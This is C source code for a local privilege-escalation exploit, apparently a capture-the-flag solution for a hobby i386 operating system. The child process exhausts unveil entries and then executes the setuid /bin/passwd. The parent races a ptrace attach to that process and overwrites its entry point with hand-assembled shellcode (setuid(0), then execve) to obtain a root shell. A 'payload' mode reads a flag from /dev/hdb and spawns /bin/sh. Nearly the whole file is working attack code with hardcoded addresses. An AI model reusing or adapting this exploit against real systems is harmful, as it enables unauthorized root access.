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| #include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sched.h>
#include <mman.h>
#include <signal.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <sys/arch/i386/regs.h>
#define ass(X) do { if (!(X)) { printf("failed @ %u\n", __LINE__); perror(#X); exit(1); } } while (0)
void child(volatile unsigned char *ready)
{
ass(!unveil("/", "rwx"));
for (unsigned i = 0; i < (1ul << 15); ++i) {
char path[0x100];
sprintf(path, "/tmp/yolo-%u", i);
if (i % 100 == 0) { printf("%s\r", path); fflush(stdout); }
ass(!unveil(path, "rwc"));
}
printf("\n");
printf("child ready\n");
{
*ready = 1; // continue parent
while (*ready != 2); // wait for attach
}
printf("child exec\n");
usleep(100e3);
char str0[] = "/bin/sh";
char *argv[] = {str0, nullptr};
char *envp[] = {nullptr};
execve("/bin/passwd", argv, envp);
printf("child %u\n", __LINE__);
}
unsigned addr_entry = 0x08001ba6; // entry point
unsigned addr_execve = 0x080327b5; // libc execve
unsigned char payload[16] = {
0x99,0xB0,0x31,0xCD,0x82, // setuid(0)
0x58,0x58,0x58,0x50,0xFF,0x30, // push envp, push argv, push *argv
0xE8,0x00,0x00,0x00,0x00, // call <off>
};
unsigned sentinel = 0xcccccccc;
static void prepare_shellcode()
{
unsigned offoff = 12;
* (unsigned*) (payload + offoff) = addr_execve - (addr_entry + offoff + 4);
}
static int set_priority(pid_t pid, int prio)
{
sched_param sp = {prio};
return sched_setparam(pid, &sp);
}
void parent(pid_t pid, volatile unsigned char *ready)
{
set_priority( 0 , 1);
set_priority(pid, 3);
while (*ready != 1) sched_yield(); // wait for child
ass(!ptrace(PT_ATTACH, pid, nullptr, 0));
printf("parent attached\n");
ass(!ptrace(PT_POKE, pid, (void*) addr_entry, sentinel));
printf("wrote sentinel\n");
set_priority( 0 , 3);
set_priority(pid, 1);
*ready = 2; // continue child
unsigned long cnt = 0;
unsigned last_v = -1;
while (true) {
errno = 0;
unsigned v = ptrace(PT_PEEK, pid, (void*) addr_entry, 0), w;
int errv = errno;
if (cnt % 1000 == 0 || v != last_v) { printf("%8lu %-2d %08x\n", cnt, errv, v); }
if (errv == EACCES) {
printf("PEEK ~> EACCES\n");
break;
}
if (!errv && v != sentinel) {
for (unsigned i = 0; i < (sizeof(payload)+3)/4; ++i) {
w = ptrace(PT_POKE, pid, (void*) (addr_entry + 4*i), ((unsigned*) payload)[i]);
printf("<%u> %-2d\n", i, w);
}
break;
}
last_v = v;
if (++cnt % 1000 == 0) {
ass(!ptrace(PT_CONTINUE, pid, nullptr, 0));
sched_yield();
}
}
ass(pid == waitpid(pid, nullptr, 0));
}
int main(int argc, char **argv) {
if (argc >= 2 && !strcmp(argv[1], "payload")) {
// read the flag
int fd = open("/dev/hdb", O_RDONLY);
printf("fd=%d\n", fd);
char buf[0x401];
for (unsigned i = 1; i < sizeof(buf); ++i) {
lseek(fd, 0, SEEK_SET);
errno = 0;
int r = read(fd, buf, i);
if (r != (signed) i) {
printf("i=%d r=%d errno=%d\n", i, r, errno);
break;
}
}
printf("\n--> \x1b[32m%s\x1b[0m\n", buf);
execl("/bin/sh", "sh", nullptr);
exit(0);
}
prepare_shellcode();
unsigned char *ready;
{
void *page = mmap(nullptr, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
ass(page != MAP_FAILED);
ready = (unsigned char*) page;
}
*ready = 0;
pid_t pid = fork();
ass(pid >= 0);
if (pid > 0)
parent(pid, ready);
else
child(ready);
}
|